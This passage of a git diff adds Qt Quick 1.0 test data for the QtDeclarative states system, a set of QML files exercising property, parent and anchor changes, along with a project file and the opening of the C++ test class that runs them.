+ name: "anchored"
+ AnchorChanges {
+ target: rectangle
+ anchors.left: root.left
+ anchors.right: root.right
+ anchors.bottom: root.bottom
+ }
+ }
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/attachedPropertyChanges.qml b/tests/auto/declarative/qdeclarativestates/data/attachedPropertyChanges.qml
new file mode 100644
index 00000000..2cad0504
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/attachedPropertyChanges.qml
@@ -0,0 +1,20 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+Item {
+ id: item
+ width: 100; height: 100
+ MyRectangle.foo: 0
+
+ states: State {
+ name: "foo1"
+ PropertyChanges {
+ target: item
+ MyRectangle.foo: 1
+ width: 50
+ }
+ }
+
+ Component.onCompleted: item.state = "foo1"
+}
+
diff --git a/tests/auto/declarative/qdeclarativestates/data/autoStateAtStartupRestoreBug.qml b/tests/auto/declarative/qdeclarativestates/data/autoStateAtStartupRestoreBug.qml
new file mode 100644
index 00000000..ccd126f6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/autoStateAtStartupRestoreBug.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+ property int input: 1
+ property int test: 9
+
+ states: [
+ State {
+ name: "portrait"
+ when: root.input == 1
+ PropertyChanges {
+ target: root
+ test: 3
+ }
+ }
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/basicBinding.qml b/tests/auto/declarative/qdeclarativestates/data/basicBinding.qml
new file mode 100644
index 00000000..2060f030
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/basicBinding.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+
+ property color sourceColor: "blue"
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: sourceColor }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/basicBinding2.qml b/tests/auto/declarative/qdeclarativestates/data/basicBinding2.qml
new file mode 100644
index 00000000..a329da33
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/basicBinding2.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+
+ property color sourceColor: "red"
+ width: 100; height: 100
+ color: sourceColor
+ states: State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: "blue" }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/basicBinding3.qml b/tests/auto/declarative/qdeclarativestates/data/basicBinding3.qml
new file mode 100644
index 00000000..cb054d21
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/basicBinding3.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+
+ property color sourceColor: "red"
+ property color sourceColor2: "blue"
+ width: 100; height: 100
+ color: sourceColor
+ states: State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: sourceColor2 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/basicBinding4.qml b/tests/auto/declarative/qdeclarativestates/data/basicBinding4.qml
new file mode 100644
index 00000000..7a740e57
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/basicBinding4.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+
+ property color sourceColor: "blue"
+ width: 100; height: 100
+ color: "red"
+ states: [
+ State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: sourceColor }
+ },
+ State {
+ name: "green"
+ PropertyChanges { target: myRectangle; color: "green" }
+ }]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/basicChanges.qml b/tests/auto/declarative/qdeclarativestates/data/basicChanges.qml
new file mode 100644
index 00000000..08ce7875
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/basicChanges.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: "blue" }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/basicChanges2.qml b/tests/auto/declarative/qdeclarativestates/data/basicChanges2.qml
new file mode 100644
index 00000000..ab97ba18
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/basicChanges2.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ states: [
+ State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: "blue" }
+ },
+ State {
+ name: "green"
+ PropertyChanges { target: myRectangle; color: "green" }
+ }]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/basicChanges3.qml b/tests/auto/declarative/qdeclarativestates/data/basicChanges3.qml
new file mode 100644
index 00000000..73ac34d7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/basicChanges3.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ states: [
+ State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: "blue" }
+ },
+ State {
+ name: "bordered"
+ PropertyChanges { target: myRectangle; border.width: 2 }
+ }]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/basicChanges4.qml b/tests/auto/declarative/qdeclarativestates/data/basicChanges4.qml
new file mode 100644
index 00000000..b5df9221
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/basicChanges4.qml
@@ -0,0 +1,19 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyRectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ states: State {
+ name: "aBlueDay"
+ PropertyChanges {
+ target: rect
+ onPropertyWithNotifyChanged: { rect.color = "blue"; }
+ }
+ }
+
+ Component.onCompleted: rect.state = "aBlueDay"
+}
+
diff --git a/tests/auto/declarative/qdeclarativestates/data/basicExtension.qml b/tests/auto/declarative/qdeclarativestates/data/basicExtension.qml
new file mode 100644
index 00000000..58c9fbe2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/basicExtension.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ states: [
+ State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: "blue" }
+ },
+ State {
+ name: "bordered"
+ extend: "blue"
+ PropertyChanges { target: myRectangle; border.width: 2 }
+ }]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/deleting.qml b/tests/auto/declarative/qdeclarativestates/data/deleting.qml
new file mode 100644
index 00000000..d1b3fd3a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/deleting.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: "blue"; objectName: "pc1" }
+ PropertyChanges { target: myRectangle; radius: 5; objectName: "pc2" }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/deletingState.qml b/tests/auto/declarative/qdeclarativestates/data/deletingState.qml
new file mode 100644
index 00000000..654e09cb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/deletingState.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ StateGroup {
+ id: stateGroup
+ states: State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: "blue" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/editProperties.qml b/tests/auto/declarative/qdeclarativestates/data/editProperties.qml
new file mode 100644
index 00000000..08d02096
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/editProperties.qml
@@ -0,0 +1,34 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+
+ property color sourceColor: "blue"
+ width: 400; height: 400
+ color: "red"
+
+ Rectangle {
+ id: rect2
+ objectName: "rect2"
+ width: parent.width + 2
+ height: 200
+ color: "yellow"
+ }
+
+ states: [
+ State {
+ name: "blue"
+ PropertyChanges {
+ target: rect2
+ width:50
+ height: 40
+ }
+ },
+ State {
+ name: "green"
+ PropertyChanges {
+ target: rect2
+ width: myRectangle.width / 2
+ height: myRectangle.width / 4
+ }
+ }]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/explicit.qml b/tests/auto/declarative/qdeclarativestates/data/explicit.qml
new file mode 100644
index 00000000..42673191
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/explicit.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ property color sourceColor: "blue"
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "blue"
+ PropertyChanges {
+ objectName: "changes"
+ target: myRectangle; explicit: true
+ color: sourceColor
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/extendsBug.qml b/tests/auto/declarative/qdeclarativestates/data/extendsBug.qml
new file mode 100644
index 00000000..a4b77b12
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/extendsBug.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200
+ height: 200
+
+ Rectangle {
+ id: rect
+ objectName: "greenRect"
+ width: 100
+ height: 100
+ color: "green"
+ }
+
+ states:[
+ State {
+ name: "a"
+ PropertyChanges { target: rect; x: 100 }
+ },
+ State {
+ name: "b"
+ extend:"a"
+ PropertyChanges { target: rect; y: 100 }
+ }
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/fakeExtension.qml b/tests/auto/declarative/qdeclarativestates/data/fakeExtension.qml
new file mode 100644
index 00000000..a98c96be
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/fakeExtension.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ states: [
+ State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; color: "blue" }
+ },
+ State {
+ name: "green"
+ extend: "blue"
+ PropertyChanges { target: myRectangle; color: "green" }
+ }]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml b/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml
new file mode 100644
index 00000000..e6444325
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: myItem
+
+ states : State {
+ PropertyChanges {
+ target: myItem
+ children: Item { id: newItem }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/illegalTempState.qml b/tests/auto/declarative/qdeclarativestates/data/illegalTempState.qml
new file mode 100644
index 00000000..c04b03c9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/illegalTempState.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: card
+ width: 100; height: 100
+
+ states: [
+ State {
+ name: "placed"
+ PropertyChanges { target: card; state: "idle" }
+ },
+ State {
+ name: "idle"
+ }
+ ]
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: card.state = "placed"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/image.png b/tests/auto/declarative/qdeclarativestates/data/image.png
new file mode 100644
index 00000000..ed1833c9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/image.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativestates/data/legalTempState.qml b/tests/auto/declarative/qdeclarativestates/data/legalTempState.qml
new file mode 100644
index 00000000..4d500d9e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/legalTempState.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: card
+ width: 100; height: 100
+
+ states: [
+ State {
+ name: "placed"
+ onCompleted: card.state = "idle"
+ StateChangeScript { script: console.log("entering placed") }
+ },
+ State {
+ name: "idle"
+ StateChangeScript { script: console.log("entering idle") }
+ }
+ ]
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: card.state = "placed"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/nonExistantProp.qml b/tests/auto/declarative/qdeclarativestates/data/nonExistantProp.qml
new file mode 100644
index 00000000..4973b82c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/nonExistantProp.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; colr: "blue" }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/parentChange1.qml b/tests/auto/declarative/qdeclarativestates/data/parentChange1.qml
new file mode 100644
index 00000000..2f7e80eb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/parentChange1.qml
@@ -0,0 +1,37 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400
+ Item {
+ x: 10; y: 10
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ x: 5
+ width: 100; height: 100
+ color: "red"
+ }
+ }
+ MouseArea {
+ id: clickable
+ anchors.fill: parent
+ }
+
+ Item {
+ x: -100; y: -50
+ Item {
+ id: newParent
+ objectName: "NewParent"
+ x: 248; y: 360
+ }
+ }
+
+ states: State {
+ name: "reparented"
+ when: clickable.pressed
+ ParentChange {
+ target: myRect
+ parent: newParent
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/parentChange2.qml b/tests/auto/declarative/qdeclarativestates/data/parentChange2.qml
new file mode 100644
index 00000000..bdd0c6c2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/parentChange2.qml
@@ -0,0 +1,31 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: newParent
+ width: 400; height: 400
+ Item {
+ scale: .5
+ rotation: 15
+ x: 10; y: 10
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ x: 5
+ width: 100; height: 100
+ color: "red"
+ }
+ }
+ MouseArea {
+ id: clickable
+ anchors.fill: parent
+ }
+
+ states: State {
+ name: "reparented"
+ when: clickable.pressed
+ ParentChange {
+ target: myRect
+ parent: newParent
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/parentChange3.qml b/tests/auto/declarative/qdeclarativestates/data/parentChange3.qml
new file mode 100644
index 00000000..55f3ead7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/parentChange3.qml
@@ -0,0 +1,42 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400
+ Item {
+ scale: .5
+ rotation: 15
+ transformOrigin: "Center"
+ x: 10; y: 10
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ x: 5
+ width: 100; height: 100
+ transformOrigin: "BottomLeft"
+ color: "red"
+ }
+ }
+ MouseArea {
+ id: clickable
+ anchors.fill: parent
+ }
+
+ Item {
+ x: 200; y: 200
+ rotation: 52;
+ scale: 2
+ Item {
+ id: newParent
+ x: 100; y: 100
+ }
+ }
+
+ states: State {
+ name: "reparented"
+ when: clickable.pressed
+ ParentChange {
+ target: myRect
+ parent: newParent
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/parentChange4.qml b/tests/auto/declarative/qdeclarativestates/data/parentChange4.qml
new file mode 100644
index 00000000..ae05b050
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/parentChange4.qml
@@ -0,0 +1,30 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ x: 5; y: 5
+ width: 100; height: 100
+ color: "red"
+ }
+ MouseArea {
+ id: clickable
+ anchors.fill: parent
+ }
+
+ Item {
+ id: newParent
+ transform: Scale { xScale: .5; yScale: .7}
+ }
+
+ states: State {
+ name: "reparented"
+ when: clickable.pressed
+ ParentChange {
+ target: myRect
+ parent: newParent
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/parentChange5.qml b/tests/auto/declarative/qdeclarativestates/data/parentChange5.qml
new file mode 100644
index 00000000..32a0b91c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/parentChange5.qml
@@ -0,0 +1,30 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ x: 5; y: 5
+ width: 100; height: 100
+ color: "red"
+ }
+ MouseArea {
+ id: clickable
+ anchors.fill: parent
+ }
+
+ Item {
+ id: newParent
+ transform: Rotation { angle: 30; axis { x: 0; y: 1; z: 0 } }
+ }
+
+ states: State {
+ name: "reparented"
+ when: clickable.pressed
+ ParentChange {
+ target: myRect
+ parent: newParent
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/parentChange6.qml b/tests/auto/declarative/qdeclarativestates/data/parentChange6.qml
new file mode 100644
index 00000000..70ad894f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/parentChange6.qml
@@ -0,0 +1,30 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ x: 5; y: 5
+ width: 100; height: 100
+ color: "red"
+ }
+ MouseArea {
+ id: clickable
+ anchors.fill: parent
+ }
+
+ Item {
+ id: newParent
+ rotation: 180
+ }
+
+ states: State {
+ name: "reparented"
+ when: clickable.pressed
+ ParentChange {
+ target: myRect
+ parent: newParent
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/propertyErrors.qml b/tests/auto/declarative/qdeclarativestates/data/propertyErrors.qml
new file mode 100644
index 00000000..3ab3c325
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/propertyErrors.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "blue"
+ PropertyChanges { target: myRectangle; colr: "blue"; activeFocus: true }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/reset.qml b/tests/auto/declarative/qdeclarativestates/data/reset.qml
new file mode 100644
index 00000000..a140ffab
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/reset.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 640
+ height: 480
+ Image {
+ id: image
+ width: 40
+ source: "image.png"
+ }
+
+ states: State {
+ name: "state1"
+ PropertyChanges {
+ target: image
+ width: undefined
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/restoreEntryValues.qml b/tests/auto/declarative/qdeclarativestates/data/restoreEntryValues.qml
new file mode 100644
index 00000000..dfd7c179
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/restoreEntryValues.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "blue"
+ PropertyChanges {
+ target: myRectangle
+ restoreEntryValues: false
+ color: "blue"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/returnToBase.qml b/tests/auto/declarative/qdeclarativestates/data/returnToBase.qml
new file mode 100644
index 00000000..a0d053cf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/returnToBase.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: theRect
+ property bool triggerState: false
+ property string stateString: ""
+ states: [ State {
+ when: triggerState
+ PropertyChanges {
+ target: theRect
+ stateString: "inState"
+ }
+ },
+ State {
+ name: ""
+ PropertyChanges {
+ target: theRect
+ stateString: "originalState"
+ }
+ }]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/script.qml b/tests/auto/declarative/qdeclarativestates/data/script.qml
new file mode 100644
index 00000000..630aaf0f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/script.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+Rectangle {
+ id: myRectangle
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "blue"
+ StateChangeScript { script: myRectangle.color = "blue"; }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/signalOverride.qml b/tests/auto/declarative/qdeclarativestates/data/signalOverride.qml
new file mode 100644
index 00000000..0eaf5476
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/signalOverride.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyRectangle {
+ id: rect
+
+ onDidSomething: color = "blue"
+
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "green"
+ PropertyChanges {
+ target: rect
+ onDidSomething: color = "green"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/signalOverride2.qml b/tests/auto/declarative/qdeclarativestates/data/signalOverride2.qml
new file mode 100644
index 00000000..ef26ff14
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/signalOverride2.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyRectangle {
+ id: rect
+ onDidSomething: color = "blue"
+ width: 100; height: 100
+ ExtendedRectangle {}
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash.qml b/tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash.qml
new file mode 100644
index 00000000..8e9b6983
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyRectangle {
+ id: rect
+
+ width: 100; height: 100
+ states: State {
+ name: "overridden"
+ PropertyChanges {
+ target: rect
+ onDidSomething: rect.state = ""
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash2.qml b/tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash2.qml
new file mode 100644
index 00000000..74df9430
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash2.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: myRect
+ width: 400
+ height: 400
+
+ states: [
+ State {
+ name: "state1"
+ PropertyChanges {
+ target: myRect
+ onHeightChanged: console.log("Hello World")
+ color: "green"
+ }
+ },
+ State {
+ name: "state2"; extend: "state1"
+ PropertyChanges {
+ target: myRect
+ color: "red"
+ }
+ }]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash3.qml b/tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash3.qml
new file mode 100644
index 00000000..ed1f22f3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/signalOverrideCrash3.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: myRect
+ width: 400
+ height: 400
+
+ onHeightChanged: console.log("base state")
+
+ states: [
+ State {
+ name: "state1"
+ PropertyChanges {
+ target: myRect
+ onHeightChanged: console.log("state1")
+ color: "green"
+ }
+ },
+ State {
+ name: "state2";
+ PropertyChanges {
+ target: myRect
+ onHeightChanged: console.log("state2")
+ color: "red"
+ }
+ }]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/unnamedWhen.qml b/tests/auto/declarative/qdeclarativestates/data/unnamedWhen.qml
new file mode 100644
index 00000000..4425b4dd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/unnamedWhen.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: theRect
+ property bool triggerState: false
+ property string stateString: ""
+ states: State {
+ when: triggerState
+ PropertyChanges {
+ target: theRect
+ stateString: "inState"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/urlResolution.qml b/tests/auto/declarative/qdeclarativestates/data/urlResolution.qml
new file mode 100644
index 00000000..743f5404
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/urlResolution.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+import "Implementation"
+
+Rectangle {
+ width: 100
+ height: 200
+
+ MyType {
+ objectName: "MyType"
+ anchors.fill: parent
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/whenOrdering.qml b/tests/auto/declarative/qdeclarativestates/data/whenOrdering.qml
new file mode 100644
index 00000000..48aef5a6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/whenOrdering.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+Rectangle {
+ property bool condition1: false
+ property bool condition2: false
+
+ states: [
+ State { name: "state1"; when: condition1 },
+ State { name: "state2"; when: condition2 }
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativestates/qdeclarativestates.pro b/tests/auto/declarative/qdeclarativestates/qdeclarativestates.pro
new file mode 100644
index 00000000..4a0cc24b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/qdeclarativestates.pro
@@ -0,0 +1,15 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativestates.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
diff --git a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp
new file mode 100644
index 00000000..eb2558b0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp
@@ -0,0 +1,1531 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativeanchors_p_p.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativeimage_p.h>
+#include <private/qdeclarativepropertychanges_p.h>
+#include <private/qdeclarativestategroup_p.h>
+#include <private/qdeclarativeitem_p.h>
+#include <private/qdeclarativeproperty_p.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class MyAttached : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int foo READ foo WRITE setFoo)
+public:
+ MyAttached(QObject *parent) : QObject(parent), m_foo(13) {}
+
+ int foo() const { return m_foo; }
+ void setFoo(int f) { m_foo = f; }
+
+private:
+ int m_foo;
+};
+
+class MyRect : public QDeclarativeRectangle
+{
+ Q_OBJECT
+ Q_PROPERTY(int propertyWithNotify READ propertyWithNotify WRITE setPropertyWithNotify NOTIFY oddlyNamedNotifySignal)
+public:
+ MyRect() {}
+
+ void doSomething() { emit didSomething(); }
+
+ int propertyWithNotify() const { return m_prop; }
+ void setPropertyWithNotify(int i) { m_prop = i; emit oddlyNamedNotifySignal(); }
+
+ static MyAttached *qmlAttachedProperties(QObject *o) {
+ return new MyAttached(o);
+ }
+Q_SIGNALS:
+ void didSomething();
+ void oddlyNamedNotifySignal();
+
+private:
+ int m_prop;
+};
+
+QML_DECLARE_TYPE(MyRect)
+QML_DECLARE_TYPEINFO(MyRect, QML_HAS_ATTACHED_PROPERTIES)
+
+class tst_qdeclarativestates : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativestates() {}
+
+private:
+ static QByteArray fullDataPath(const QString &path);
+
+private slots:
+ void initTestCase();
+
+ void basicChanges();
+ void attachedPropertyChanges();
+ void basicExtension();
+ void basicBinding();
+ void signalOverride();
+ void signalOverrideCrash();
+ void signalOverrideCrash2();
+ void signalOverrideCrash3();
+ void parentChange();
+ void parentChangeErrors();
+ void anchorChanges();
+ void anchorChanges2();
+ void anchorChanges3();
+ void anchorChanges4();
+ void anchorChanges5();
+ void anchorChangesRTL();
+ void anchorChangesRTL2();
+ void anchorChangesRTL3();
+ void anchorChangesCrash();
+ void anchorRewindBug();
+ void anchorRewindBug2();
+ void script();
+ void restoreEntryValues();
+ void explicitChanges();
+ void propertyErrors();
+ void incorrectRestoreBug();
+ void autoStateAtStartupRestoreBug();
+ void deletingChange();
+ void deletingState();
+ void tempState();
+ void illegalTempState();
+ void nonExistantProperty();
+ void reset();
+ void illegalObjectCreation();
+ void whenOrdering();
